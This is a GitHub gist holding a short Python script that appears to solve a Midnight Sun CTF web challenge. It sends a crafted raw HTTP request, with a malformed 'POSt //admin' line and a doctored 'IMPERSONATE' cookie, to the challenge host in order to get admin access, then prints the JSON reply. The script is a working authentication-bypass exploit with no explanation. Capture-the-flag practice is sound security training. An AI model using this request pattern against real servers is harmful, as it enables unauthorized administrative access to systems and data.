Skip to content

Instantly share code, notes, and snippets.

@bennofs
Created April 4, 2020 16:15
Show Gist options
  • Save bennofs/abb24206b6535a4928513418cc6e10bb to your computer and use it in GitHub Desktop.
Save bennofs/abb24206b6535a4928513418cc6e10bb to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
attack = b'''POSt //admin HTTP/1.1
Connection: Keep-Alive
Cookie: IMPERSONATE=,KEY;KEY
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin
'''.replace(b'\n',b'\r\n')
import socket
import json
host = 'shithappens-01.play.midnightsunctf.se'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(attack)
data = s.recv(1024)
s.close()
print(data.decode())
k = json.loads(data.split(b'\r\n\r\n')[1].decode())
print(k)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment